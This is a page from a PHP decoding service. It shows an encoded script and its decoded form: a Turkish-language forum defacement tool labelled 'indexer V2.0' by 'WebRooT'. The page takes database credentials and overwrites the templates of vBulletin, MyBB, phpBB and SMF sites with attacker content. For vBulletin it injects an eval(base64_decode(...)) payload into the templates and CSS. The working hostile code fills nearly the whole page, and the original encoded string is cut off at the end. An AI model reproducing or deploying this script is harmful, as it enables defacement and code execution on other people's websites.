Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

$aa = 'PHAgYWxpZ249InJpZ2h0Ij48L3A+PGJvZHkgYmdjb2xvcj0iI0ZGRkZGRiI+IAo8P3BocCAKCiMj IyMjI..

Decoded Output download

b'<p align="right"></p><body bgcolor="#FFFFFF"> 
<?php 

######################## Begining of Coding ;) ###################### 
error_reporting(0); 

    $info = $_SERVER[\'SERVER_SOFTWARE\']; 
    $site = getenv("HTTP_HOST"); 
    $page = $_SERVER[\'SCRIPT_NAME\']; 
    $sname = $_SERVER[\'SERVER_NAME\']; 
    $uname = php_uname(); 
    $smod = ini_get(\'safe_mode\'); 
    $disfunc = ini_get(\'disable_functions\'); 
    $yourip = $_SERVER[\'REMOTE_ADDR\']; 
    $serverip = $_SERVER[\'SERVER_ADDR\']; 
    $version = phpversion(); 
    $ccc = realpath($_GET[\'chdir\'])."/"; 
    $fdel = $_GET[\'fdel\']; 
    $execute = $_POST[\'execute\']; 
    $cmd = $_POST[\'cmd\']; 
    $commander = $_POST[\'commander\']; 
    $ls = "ls -la"; 
    $source = $_POST[\'source\']; 
    $gomkf = $_POST[\'gomkf\']; 
    $title = $_POST[\'title\']; 
    $sourcego = $_POST[\'sourcego\']; 
    $ftemp = "tmp"; 
    $temp = tempnam($ftemp, "cx"); 
    $fcopy = $_POST[\'fcopy\']; 
    $tuser = $_POST[\'tuser\']; 
    $user = $_POST[\'user\']; 
    $wdir = $_POST[\'wdir\']; 
    $tdir = $_POST[\'tdir\']; 
    $symgo = $_POST[\'symgo\']; 
    $sym = "xhackers.txt"; 
    $to = $_POST[\'to\']; 
    $sbjct = $_POST[\'sbjct\']; 
    $msg = $_POST[\'msg\']; 
    $header = "From:".$_POST[\'header\']; 


//PHPinfo 

if(isset($_POST[\'phpinfo\'])) 
{ 
    die(phpinfo()); 
} 
//Guvenli mod vs vs 
if ($smod) 
{ 
    $c_h = "<font color=red face=\'Verdana\' size=\'1\'>ON</font>"; 
} 
else 
{ 
    $c_h = "<font face=\'Verdana\' size=\'1\' color=green>OFF</font>"; 
} 

//Kapali Fonksiyonlar 
if (\'\'==($disfunc)) 
{ 
    $dis = "<font color=green>None</font>"; 
} 
else 
{ 
    $dis = "<font color=red>$disfunc</font>"; 
} 
//Dizin degisimi 
if(isset($_GET[\'dir\']) && is_dir($_GET[\'dir\'])) 
{ 
 chdir($_GET[\'dir\']); 
} 

$ccc = realpath($_GET[\'chdir\'])."/"; 

//Baslik 
echo "<head> 
<style> 
body { font-size: 12px; 

           font-family: arial, helvetica; 

            scrollbar-width: 5; 

            scrollbar-height: 5; 

            scrollbar-face-color: black; 

            scrollbar-shadow-color: silver; 

            scrollbar-highlight-color: silver; 

            scrollbar-3dlight-color:silver; 

            scrollbar-darkshadow-color: silver; 

            scrollbar-track-color: black; 

            scrollbar-arrow-color: silver; 

    } 
</style> 

<title>Lolipop</title></head>"; 
//Ana tablo 
echo "<body text=\'#FFFFFF\'> 
<table border=\'1\' width=\'100%\' id=\'table1\' border=\'1\' cellPadding=5 cellSpacing=0 borderColorDark=#666666 bordercolorlight=\'#C0C0C0\'> 
</table>"; 
echo \'<td><font color="#CC0000"><strong></strong></font><font color="#000000"></em></font>    </tr> 
\'; 
//Buton Listesi 
echo "<center><form method=POST action\'\'><input type=submit name=vbulletin value=\'VB HACK.\'><input type=submit name=mybulletin value=\'MyBB HACK.\'><input type=submit name=phpbb value=\'  phpBB HACK.  \'><input type=submit name=smf value=\'  SMF HACK.  \'></form></center>"; 




//VB HACK 
if (isset($_POST[\'vbulletin\'])) 
{ 
echo "<center><table border=0 width=\'100%\'> 
<tr><td> 
<center><font face=\'Arial\' color=\'#000000\'>== VB indexer ==</font></center> 
    <center><form method=POST action=\'\'><font face=\'Arial\' color=\'#000000\'>Mysql Host</font><br><input type=text name=dbh value=localhost size=\'50\' style=\'font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF\'><br> 
          <font face=\'Arial\' color=\'#000000\'>DbKullanici<br></font><input type=text name=dbu size=\'50\' style=\'font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF\'><br> 
          <font face=\'Arial\' color=\'#000000\'>Dbadi<br></font><input type=text name=dbn size=\'50\' style=\'font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF\'><br> 
		  
          <font face=\'Arial\' color=\'#000000\'>Dbsifre<br></font><input type=password name=dbp size=\'50\' style=\'font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF\'><br> 
          <font face=\'Arial\' color=\'#000000\'>indexin Yazilacagi Bolum</font><br><textarea name=index rows=\'19\' cols=\'103\' style=\'color: #000000; background-color: #FFFFFF\'>buraya indexiniz gelecek.indexi yaz postala kay gitsin.</textarea><br> 
          <input type=submit value=\'Kay Gitsin!\' ></form></center></td></tr></table></center>"; 
die(); 
} 
$webr00t="Powered By WebRooT"; 
$dbh = $_POST[\'dbh\']; 
$dbu = $_POST[\'dbu\']; 
$dbn = $_POST[\'dbn\']; 
$dbp = $_POST[\'dbp\']; 
$index = $_POST[\'index\']; 
$index=str_replace("\'","\'",$index); 
$set_index  = "{\${eval(base64_decode(\'"; 

$set_index .= base64_encode("echo \"$index\";"); 


$set_index .= "\'))}}{\${exit()}}</textarea>"; 


if (!empty($dbh) && !empty($dbu) && !empty($dbn) && !empty($index)) 
{ 
mysql_connect($dbh,$dbu,$dbp) or die(mysql_error()); 
mysql_select_db($dbn) or die(mysql_error()); 
$loli1 = "UPDATE template SET template=\'".$set_index."".$webr00t."\' WHERE title=\'spacer_open\'"; 
$loli2 = "UPDATE template SET template=\'".$set_index."".$webr00t."\' WHERE title=\'FORUMHOME\'"; 
$loli3 = "UPDATE style SET css=\'".$set_index."".$webr00t."\', stylevars=\'\', csscolors=\'\', editorstyles=\'\'"; 
$result = mysql_query($loli1) or die (mysql_error()); 
$result = mysql_query($loli2) or die (mysql_error()); 
$result = mysql_query($loli3) or die (mysql_error()); 
echo "<script>alert(\'Vb Hacked\');</script>"; 
} 

//MyBB Hack 
if (isset($_POST[\'mybulletin\'])) 
{ 
echo "<center><table border=0 width=\'100%\'> 
<tr><td> 
<center><font face=\'Arial\' color=\'#000000\'>== MyBB indexer ==</font></center> 
    <center><form method=POST action=\'\'><font face=\'Arial\' color=\'#000000\'>Mysql Host</font><br><input type=text name=mybbdbh value=localhost size=\'50\' style=\'font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF\'><br> 
          <font face=\'Arial\' color=\'#000000\'>DbKullanici<br></font><input type=text name=mybbdbu size=\'50\' style=\'font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF\'><br> 
          <font face=\'Arial\' color=\'#000000\'>Dbadi<br></font><input type=text name=mybbdbn size=\'50\' style=\'font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF\'><br> 
          <font face=\'Arial\' color=\'#000000\'>Dbsifre<br></font><input type=password name=mybbdbp size=\'50\' style=\'font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF\'><br> 
          <font face=\'Arial\' color=\'#000000\'>indexin Yazilacagi Bolum</font><br><textarea name=mybbindex rows=\'19\' cols=\'103\' style=\'color: #000000; background-color: #FFFFFF\'>buraya indexiniz gelecek.?ndexi yaz postala kay gitsin.</textarea><br> 
          <input type=submit value=\'Kay Gitsin!\' ></form></center></td></tr></table></center>"; 
die(); 
} 
$mybb_dbh = $_POST[\'mybbdbh\']; 
$mybb_dbu = $_POST[\'mybbdbu\']; 
$mybb_dbn = $_POST[\'mybbdbn\']; 
$mybb_dbp = $_POST[\'mybbdbp\']; 
$mybb_index = $_POST[\'mybbindex\']; 

if (!empty($mybb_dbh) && !empty($mybb_dbu) && !empty($mybb_dbn) && !empty($mybb_index)) 
{ 
mysql_connect($mybb_dbh,$mybb_dbu,$mybb_dbp) or die(mysql_error()); 
mysql_select_db($mybb_dbn) or die(mysql_error()); 
$prefix="mybb_"; 
$loli7 = "UPDATE ".$prefix."templates SET template=\'".$mybb_index."\' WHERE title=\'index\'"; 

$result = mysql_query($loli7) or die (mysql_error()); 

echo "<script>alert(\'MyBB Hacked\');</script>"; 
} 
//PhpBB 
if (isset($_POST[\'phpbb\'])) 
{ 
echo "<center><table border=0 width=\'100%\'> 
<tr><td> 
<center><font face=\'Arial\' color=\'#000000\'>== PHPBB indexer ==</font></center> 
    <center><form method=POST action=\'\'><font face=\'Arial\' color=\'#000000\'>Mysql Host</font><br><input type=text name=phpbbdbh value=localhost size=\'50\' style=\'font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF\'><br> 
          <font face=\'Arial\' color=\'#000000\'>DbKullanici<br></font><input type=text name=phpbbdbu size=\'50\' style=\'font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF\'><br> 
          <font face=\'Arial\' color=\'#000000\'>Dbadi<br></font><input type=text name=phpbbdbn size=\'50\' style=\'font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF\'><br> 
          <font face=\'Arial\' color=\'#000000\'>Dbsifre<br></font><input type=password name=phpbbdbp size=\'50\' style=\'font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF\'><br> 
          <font face=\'Arial\' color=\'#000000\'>Yazi Veya  KOD<br></font><input type=text name=phpbbkat size=\'100\' style=\'font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF\'><br> 
          <font face=\'Arial\' color=\'#000000\'>Degisecek KATEGORI ID si<br></font><input type=text name=katid size=\'100\' style=\'font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF\'><br> 
          <input type=submit value=\'Kay Gitsin!\' ></form></center></td></tr></table></center>"; 
die(); 
} 
$phpbb_dbh = $_POST[\'phpbbdbh\']; 
$phpbb_dbu = $_POST[\'phpbbdbu\']; 
$phpbb_dbn = $_POST[\'phpbbdbn\']; 
$phpbb_dbp = $_POST[\'phpbbdbp\']; 
$phpbb_kat = $_POST[\'phpbbkat\']; 
$kategoriid=$_POST[\'katid\']; 

if (!empty($phpbb_dbh) && !empty($phpbb_dbu) && !empty($phpbb_dbn) && !empty($phpbb_kat)) 
{ 
mysql_connect($phpbb_dbh,$phpbb_dbu,$phpbb_dbp) or die(mysql_error()); 
mysql_select_db($phpbb_dbn) or die(mysql_error()); 


$loli10 = "UPDATE phpbb_categories  SET cat_title=\'".$phpbb_kat."\' WHERE cat_id=\'".$kategoriid."\'"; 

$result = mysql_query($loli10) or die (mysql_error()); 

echo "<script>alert(\'PhpBB Hacked\');</script>"; 
} 
//SmfHACK 
if (isset($_POST[\'smf\'])) 
{ 
echo "<center><table border=0 width=\'100%\'> 
<tr><td> 
<center><font face=\'Arial\' color=\'#000000\'>== SMF Indexer ==</font></center> 
    <center><form method=POST action=\'\'><font face=\'Arial\' color=\'#000000\'>Mysql Host</font><br><input type=text name=smfdbh value=localhost size=\'50\' style=\'font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF\'><br> 
          <font face=\'Arial\' color=\'#000000\'>DbKullanici<br></font><input type=text name=smfdbu size=\'50\' style=\'font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF\'><br> 
          <font face=\'Arial\' color=\'#000000\'>Dbadi<br></font><input type=text name=smfdbn size=\'50\' style=\'font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF\'><br> 
          <font face=\'Arial\' color=\'#000000\'>Dbsifre<br></font><input type=password name=smfdbp size=\'50\' style=\'font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF\'><br> 
                    <font face=\'Arial\' color=\'#000000\'>Yazi Yada KOD<br></font><input type=text name=smf_index size=\'100\' style=\'font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF\'><br> 
                    <font face=\'Arial\' color=\'#000000\'>Degisecek KATEGORI ID si <br></font><input type=text name=katid size=\'100\' style=\'font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF\'><br> 

          <input type=submit value=\'Kay Gitsin!\' ></form></center></td></tr></table></center>"; 
die(); 
} 
$smf_dbh = $_POST[\'smfdbh\']; 
$smf_dbu = $_POST[\'smfdbu\']; 
$smf_dbn = $_POST[\'smfdbn\']; 
$smf_dbp = $_POST[\'smfdbp\']; 
$smf_index = $_POST[\'smf_index\']; 
$smf_katid=$_POST[\'katid\']; 

if (!empty($smf_dbh) && !empty($smf_dbu) && !empty($smf_dbn) && !empty($smf_index)) 
{ 
mysql_connect($smf_dbh,$smf_dbu,$smf_dbp) or die(mysql_error()); 
mysql_select_db($smf_dbn) or die(mysql_error()); 
$prefix="smf_"; 
$loli12 = "UPDATE ".$prefix."categories SET name=\'".$smf_index."\' WHERE ID_CAT=\'".$smf_katid."\'"; 

$result = mysql_query($loli12) or die (mysql_error()); 

echo "<script>alert(\'smf Hacked\');</script>"; 
} 


//Alt taraf 
echo " 


<br><table width=\'100%\' height=\'1\' border=\'1\' cellPadding=5 cellSpacing=0 borderColorDark=#666666 id=\'table1\' style=\'BORDER-COLLAPSE: collapse\'> 
<tr> 
<td width=\'25%\' height=\'1\' valign=\'top\' style=\'font-family: verdana; color: #000000; font-size: 11px\'> 
  <center><p><strong><h2>Edited By WebRooT</strong></p></h2></center>
  <center><p><strong>..:: indexer V2.0 ::..</strong></p></center>
<p><strong></strong><br> 
</p></td> 
</tr></table>"; 



// Kod bitisi 
?> '

Did this file decode correctly?

Original Code

$aa = 'PHAgYWxpZ249InJpZ2h0Ij48L3A+PGJvZHkgYmdjb2xvcj0iI0ZGRkZGRiI+IAo8P3BocCAKCiMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyBCZWdpbmluZyBvZiBDb2RpbmcgOykgIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyAKZXJyb3JfcmVwb3J0aW5nKDApOyAKCiAgICAkaW5mbyA9ICRfU0VSVkVSWydT
RVJWRVJfU09GVFdBUkUnXTsgCiAgICAkc2l0ZSA9IGdldGVudigiSFRUUF9IT1NUIik7IAogICAg
JHBhZ2UgPSAkX1NFUlZFUlsnU0NSSVBUX05BTUUnXTsgCiAgICAkc25hbWUgPSAkX1NFUlZFUlsn
U0VSVkVSX05BTUUnXTsgCiAgICAkdW5hbWUgPSBwaHBfdW5hbWUoKTsgCiAgICAkc21vZCA9IGlu
aV9nZXQoJ3NhZmVfbW9kZScpOyAKICAgICRkaXNmdW5jID0gaW5pX2dldCgnZGlzYWJsZV9mdW5j
dGlvbnMnKTsgCiAgICAkeW91cmlwID0gJF9TRVJWRVJbJ1JFTU9URV9BRERSJ107IAogICAgJHNl
cnZlcmlwID0gJF9TRVJWRVJbJ1NFUlZFUl9BRERSJ107IAogICAgJHZlcnNpb24gPSBwaHB2ZXJz
aW9uKCk7IAogICAgJGNjYyA9IHJlYWxwYXRoKCRfR0VUWydjaGRpciddKS4iLyI7IAogICAgJGZk
ZWwgPSAkX0dFVFsnZmRlbCddOyAKICAgICRleGVjdXRlID0gJF9QT1NUWydleGVjdXRlJ107IAog
ICAgJGNtZCA9ICRfUE9TVFsnY21kJ107IAogICAgJGNvbW1hbmRlciA9ICRfUE9TVFsnY29tbWFu
ZGVyJ107IAogICAgJGxzID0gImxzIC1sYSI7IAogICAgJHNvdXJjZSA9ICRfUE9TVFsnc291cmNl
J107IAogICAgJGdvbWtmID0gJF9QT1NUWydnb21rZiddOyAKICAgICR0aXRsZSA9ICRfUE9TVFsn
dGl0bGUnXTsgCiAgICAkc291cmNlZ28gPSAkX1BPU1RbJ3NvdXJjZWdvJ107IAogICAgJGZ0ZW1w
ID0gInRtcCI7IAogICAgJHRlbXAgPSB0ZW1wbmFtKCRmdGVtcCwgImN4Iik7IAogICAgJGZjb3B5
ID0gJF9QT1NUWydmY29weSddOyAKICAgICR0dXNlciA9ICRfUE9TVFsndHVzZXInXTsgCiAgICAk
dXNlciA9ICRfUE9TVFsndXNlciddOyAKICAgICR3ZGlyID0gJF9QT1NUWyd3ZGlyJ107IAogICAg
JHRkaXIgPSAkX1BPU1RbJ3RkaXInXTsgCiAgICAkc3ltZ28gPSAkX1BPU1RbJ3N5bWdvJ107IAog
ICAgJHN5bSA9ICJ4aGFja2Vycy50eHQiOyAKICAgICR0byA9ICRfUE9TVFsndG8nXTsgCiAgICAk
c2JqY3QgPSAkX1BPU1RbJ3NiamN0J107IAogICAgJG1zZyA9ICRfUE9TVFsnbXNnJ107IAogICAg
JGhlYWRlciA9ICJGcm9tOiIuJF9QT1NUWydoZWFkZXInXTsgCgoKLy9QSFBpbmZvIAoKaWYoaXNz
ZXQoJF9QT1NUWydwaHBpbmZvJ10pKSAKeyAKICAgIGRpZShwaHBpbmZvKCkpOyAKfSAKLy9HdXZl
bmxpIG1vZCB2cyB2cyAKaWYgKCRzbW9kKSAKeyAKICAgICRjX2ggPSAiPGZvbnQgY29sb3I9cmVk
IGZhY2U9J1ZlcmRhbmEnIHNpemU9JzEnPk9OPC9mb250PiI7IAp9IAplbHNlIAp7IAogICAgJGNf
aCA9ICI8Zm9udCBmYWNlPSdWZXJkYW5hJyBzaXplPScxJyBjb2xvcj1ncmVlbj5PRkY8L2ZvbnQ+
IjsgCn0gCgovL0thcGFsaSBGb25rc2l5b25sYXIgCmlmICgnJz09KCRkaXNmdW5jKSkgCnsgCiAg
ICAkZGlzID0gIjxmb250IGNvbG9yPWdyZWVuPk5vbmU8L2ZvbnQ+IjsgCn0gCmVsc2UgCnsgCiAg
ICAkZGlzID0gIjxmb250IGNvbG9yPXJlZD4kZGlzZnVuYzwvZm9udD4iOyAKfSAKLy9EaXppbiBk
ZWdpc2ltaSAKaWYoaXNzZXQoJF9HRVRbJ2RpciddKSAmJiBpc19kaXIoJF9HRVRbJ2RpciddKSkg
CnsgCiBjaGRpcigkX0dFVFsnZGlyJ10pOyAKfSAKCiRjY2MgPSByZWFscGF0aCgkX0dFVFsnY2hk
aXInXSkuIi8iOyAKCi8vQmFzbGlrIAplY2hvICI8aGVhZD4gCjxzdHlsZT4gCmJvZHkgeyBmb250
LXNpemU6IDEycHg7IAoKICAgICAgICAgICBmb250LWZhbWlseTogYXJpYWwsIGhlbHZldGljYTsg
CgogICAgICAgICAgICBzY3JvbGxiYXItd2lkdGg6IDU7IAoKICAgICAgICAgICAgc2Nyb2xsYmFy
LWhlaWdodDogNTsgCgogICAgICAgICAgICBzY3JvbGxiYXItZmFjZS1jb2xvcjogYmxhY2s7IAoK
ICAgICAgICAgICAgc2Nyb2xsYmFyLXNoYWRvdy1jb2xvcjogc2lsdmVyOyAKCiAgICAgICAgICAg
IHNjcm9sbGJhci1oaWdobGlnaHQtY29sb3I6IHNpbHZlcjsgCgogICAgICAgICAgICBzY3JvbGxi
YXItM2RsaWdodC1jb2xvcjpzaWx2ZXI7IAoKICAgICAgICAgICAgc2Nyb2xsYmFyLWRhcmtzaGFk
b3ctY29sb3I6IHNpbHZlcjsgCgogICAgICAgICAgICBzY3JvbGxiYXItdHJhY2stY29sb3I6IGJs
YWNrOyAKCiAgICAgICAgICAgIHNjcm9sbGJhci1hcnJvdy1jb2xvcjogc2lsdmVyOyAKCiAgICB9
IAo8L3N0eWxlPiAKCjx0aXRsZT5Mb2xpcG9wPC90aXRsZT48L2hlYWQ+IjsgCi8vQW5hIHRhYmxv
IAplY2hvICI8Ym9keSB0ZXh0PScjRkZGRkZGJz4gCjx0YWJsZSBib3JkZXI9JzEnIHdpZHRoPScx
MDAlJyBpZD0ndGFibGUxJyBib3JkZXI9JzEnIGNlbGxQYWRkaW5nPTUgY2VsbFNwYWNpbmc9MCBi
b3JkZXJDb2xvckRhcms9IzY2NjY2NiBib3JkZXJjb2xvcmxpZ2h0PScjQzBDMEMwJz4gCjwvdGFi
bGU+IjsgCmVjaG8gJzx0ZD48Zm9udCBjb2xvcj0iI0NDMDAwMCI+PHN0cm9uZz48L3N0cm9uZz48
L2ZvbnQ+PGZvbnQgY29sb3I9IiMwMDAwMDAiPjwvZW0+PC9mb250PiAgICA8L3RyPiAKJzsgCi8v
QnV0b24gTGlzdGVzaSAKZWNobyAiPGNlbnRlcj48Zm9ybSBtZXRob2Q9UE9TVCBhY3Rpb24nJz48
aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT12YnVsbGV0aW4gdmFsdWU9J1ZCIEhBQ0suJz48aW5wdXQg
dHlwZT1zdWJtaXQgbmFtZT1teWJ1bGxldGluIHZhbHVlPSdNeUJCIEhBQ0suJz48aW5wdXQgdHlw
ZT1zdWJtaXQgbmFtZT1waHBiYiB2YWx1ZT0nICBwaHBCQiBIQUNLLiAgJz48aW5wdXQgdHlwZT1z
dWJtaXQgbmFtZT1zbWYgdmFsdWU9JyAgU01GIEhBQ0suICAnPjwvZm9ybT48L2NlbnRlcj4iOyAK
CgoKCi8vVkIgSEFDSyAKaWYgKGlzc2V0KCRfUE9TVFsndmJ1bGxldGluJ10pKSAKeyAKZWNobyAi
PGNlbnRlcj48dGFibGUgYm9yZGVyPTAgd2lkdGg9JzEwMCUnPiAKPHRyPjx0ZD4gCjxjZW50ZXI+
PGZvbnQgZmFjZT0nQXJpYWwnIGNvbG9yPScjMDAwMDAwJz49PSBWQiBpbmRleGVyID09PC9mb250
PjwvY2VudGVyPiAKICAgIDxjZW50ZXI+PGZvcm0gbWV0aG9kPVBPU1QgYWN0aW9uPScnPjxmb250
IGZhY2U9J0FyaWFsJyBjb2xvcj0nIzAwMDAwMCc+TXlzcWwgSG9zdDwvZm9udD48YnI+PGlucHV0
IHR5cGU9dGV4dCBuYW1lPWRiaCB2YWx1ZT1sb2NhbGhvc3Qgc2l6ZT0nNTAnIHN0eWxlPSdmb250
LXNpemU6IDhwdDsgY29sb3I6ICMwMDAwMDA7IGZvbnQtZmFtaWx5OiBUYWhvbWE7IGJvcmRlcjog
MXB4IHNvbGlkICM2NjY2NjY7IGJhY2tncm91bmQtY29sb3I6ICNGRkZGRkYnPjxicj4gCiAgICAg
ICAgICA8Zm9udCBmYWNlPSdBcmlhbCcgY29sb3I9JyMwMDAwMDAnPkRiS3VsbGFuaWNpPGJyPjwv
Zm9udD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9ZGJ1IHNpemU9JzUwJyBzdHlsZT0nZm9udC1zaXpl
OiA4cHQ7IGNvbG9yOiAjMDAwMDAwOyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDFweCBz
b2xpZCAjNjY2NjY2OyBiYWNrZ3JvdW5kLWNvbG9yOiAjRkZGRkZGJz48YnI+IAogICAgICAgICAg
PGZvbnQgZmFjZT0nQXJpYWwnIGNvbG9yPScjMDAwMDAwJz5EYmFkaTxicj48L2ZvbnQ+PGlucHV0
IHR5cGU9dGV4dCBuYW1lPWRibiBzaXplPSc1MCcgc3R5bGU9J2ZvbnQtc2l6ZTogOHB0OyBjb2xv
cjogIzAwMDAwMDsgZm9udC1mYW1pbHk6IFRhaG9tYTsgYm9yZGVyOiAxcHggc29saWQgIzY2NjY2
NjsgYmFja2dyb3VuZC1jb2xvcjogI0ZGRkZGRic+PGJyPiAKCQkgIAogICAgICAgICAgPGZvbnQg
ZmFjZT0nQXJpYWwnIGNvbG9yPScjMDAwMDAwJz5EYnNpZnJlPGJyPjwvZm9udD48aW5wdXQgdHlw
ZT1wYXNzd29yZCBuYW1lPWRicCBzaXplPSc1MCcgc3R5bGU9J2ZvbnQtc2l6ZTogOHB0OyBjb2xv
cjogIzAwMDAwMDsgZm9udC1mYW1pbHk6IFRhaG9tYTsgYm9yZGVyOiAxcHggc29saWQgIzY2NjY2
NjsgYmFja2dyb3VuZC1jb2xvcjogI0ZGRkZGRic+PGJyPiAKICAgICAgICAgIDxmb250IGZhY2U9
J0FyaWFsJyBjb2xvcj0nIzAwMDAwMCc+aW5kZXhpbiBZYXppbGFjYWdpIEJvbHVtPC9mb250Pjxi
cj48dGV4dGFyZWEgbmFtZT1pbmRleCByb3dzPScxOScgY29scz0nMTAzJyBzdHlsZT0nY29sb3I6
ICMwMDAwMDA7IGJhY2tncm91bmQtY29sb3I6ICNGRkZGRkYnPmJ1cmF5YSBpbmRleGluaXogZ2Vs
ZWNlay5pbmRleGkgeWF6IHBvc3RhbGEga2F5IGdpdHNpbi48L3RleHRhcmVhPjxicj4gCiAgICAg
ICAgICA8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9J0theSBHaXRzaW4hJyA+PC9mb3JtPjwvY2Vu
dGVyPjwvdGQ+PC90cj48L3RhYmxlPjwvY2VudGVyPiI7IApkaWUoKTsgCn0gCiR3ZWJyMDB0PSJQ
b3dlcmVkIEJ5IFdlYlJvb1QiOyAKJGRiaCA9ICRfUE9TVFsnZGJoJ107IAokZGJ1ID0gJF9QT1NU
WydkYnUnXTsgCiRkYm4gPSAkX1BPU1RbJ2RibiddOyAKJGRicCA9ICRfUE9TVFsnZGJwJ107IAok
aW5kZXggPSAkX1BPU1RbJ2luZGV4J107IAokaW5kZXg9c3RyX3JlcGxhY2UoIlwnIiwiJyIsJGlu
ZGV4KTsgCiRzZXRfaW5kZXggID0gIntcJHtldmFsKGJhc2U2NF9kZWNvZGUoXCciOyAKCiRzZXRf
aW5kZXggLj0gYmFzZTY0X2VuY29kZSgiZWNobyBcIiRpbmRleFwiOyIpOyAKCgokc2V0X2luZGV4
IC49ICJcJykpfX17XCR7ZXhpdCgpfX08L3RleHRhcmVhPiI7IAoKCmlmICghZW1wdHkoJGRiaCkg
JiYgIWVtcHR5KCRkYnUpICYmICFlbXB0eSgkZGJuKSAmJiAhZW1wdHkoJGluZGV4KSkgCnsgCm15
c3FsX2Nvbm5lY3QoJGRiaCwkZGJ1LCRkYnApIG9yIGRpZShteXNxbF9lcnJvcigpKTsgCm15c3Fs
X3NlbGVjdF9kYigkZGJuKSBvciBkaWUobXlzcWxfZXJyb3IoKSk7IAokbG9saTEgPSAiVVBEQVRF
IHRlbXBsYXRlIFNFVCB0ZW1wbGF0ZT0nIi4kc2V0X2luZGV4LiIiLiR3ZWJyMDB0LiInIFdIRVJF
IHRpdGxlPSdzcGFjZXJfb3BlbiciOyAKJGxvbGkyID0gIlVQREFURSB0ZW1wbGF0ZSBTRVQgdGVt
cGxhdGU9JyIuJHNldF9pbmRleC4iIi4kd2VicjAwdC4iJyBXSEVSRSB0aXRsZT0nRk9SVU1IT01F
JyI7IAokbG9saTMgPSAiVVBEQVRFIHN0eWxlIFNFVCBjc3M9JyIuJHNldF9pbmRleC4iIi4kd2Vi
cjAwdC4iJywgc3R5bGV2YXJzPScnLCBjc3Njb2xvcnM9JycsIGVkaXRvcnN0eWxlcz0nJyI7IAok
cmVzdWx0ID0gbXlzcWxfcXVlcnkoJGxvbGkxKSBvciBkaWUgKG15c3FsX2Vycm9yKCkpOyAKJHJl
c3VsdCA9IG15c3FsX3F1ZXJ5KCRsb2xpMikgb3IgZGllIChteXNxbF9lcnJvcigpKTsgCiRyZXN1
bHQgPSBteXNxbF9xdWVyeSgkbG9saTMpIG9yIGRpZSAobXlzcWxfZXJyb3IoKSk7IAplY2hvICI8
c2NyaXB0PmFsZXJ0KCdWYiBIYWNrZWQnKTs8L3NjcmlwdD4iOyAKfSAKCi8vTXlCQiBIYWNrIApp
ZiAoaXNzZXQoJF9QT1NUWydteWJ1bGxldGluJ10pKSAKeyAKZWNobyAiPGNlbnRlcj48dGFibGUg
Ym9yZGVyPTAgd2lkdGg9JzEwMCUnPiAKPHRyPjx0ZD4gCjxjZW50ZXI+PGZvbnQgZmFjZT0nQXJp
YWwnIGNvbG9yPScjMDAwMDAwJz49PSBNeUJCIGluZGV4ZXIgPT08L2ZvbnQ+PC9jZW50ZXI+IAog
ICAgPGNlbnRlcj48Zm9ybSBtZXRob2Q9UE9TVCBhY3Rpb249Jyc+PGZvbnQgZmFjZT0nQXJpYWwn
IGNvbG9yPScjMDAwMDAwJz5NeXNxbCBIb3N0PC9mb250Pjxicj48aW5wdXQgdHlwZT10ZXh0IG5h
bWU9bXliYmRiaCB2YWx1ZT1sb2NhbGhvc3Qgc2l6ZT0nNTAnIHN0eWxlPSdmb250LXNpemU6IDhw
dDsgY29sb3I6ICMwMDAwMDA7IGZvbnQtZmFtaWx5OiBUYWhvbWE7IGJvcmRlcjogMXB4IHNvbGlk
ICM2NjY2NjY7IGJhY2tncm91bmQtY29sb3I6ICNGRkZGRkYnPjxicj4gCiAgICAgICAgICA8Zm9u
dCBmYWNlPSdBcmlhbCcgY29sb3I9JyMwMDAwMDAnPkRiS3VsbGFuaWNpPGJyPjwvZm9udD48aW5w
dXQgdHlwZT10ZXh0IG5hbWU9bXliYmRidSBzaXplPSc1MCcgc3R5bGU9J2ZvbnQtc2l6ZTogOHB0
OyBjb2xvcjogIzAwMDAwMDsgZm9udC1mYW1pbHk6IFRhaG9tYTsgYm9yZGVyOiAxcHggc29saWQg
IzY2NjY2NjsgYmFja2dyb3VuZC1jb2xvcjogI0ZGRkZGRic+PGJyPiAKICAgICAgICAgIDxmb250
IGZhY2U9J0FyaWFsJyBjb2xvcj0nIzAwMDAwMCc+RGJhZGk8YnI+PC9mb250PjxpbnB1dCB0eXBl
PXRleHQgbmFtZT1teWJiZGJuIHNpemU9JzUwJyBzdHlsZT0nZm9udC1zaXplOiA4cHQ7IGNvbG9y
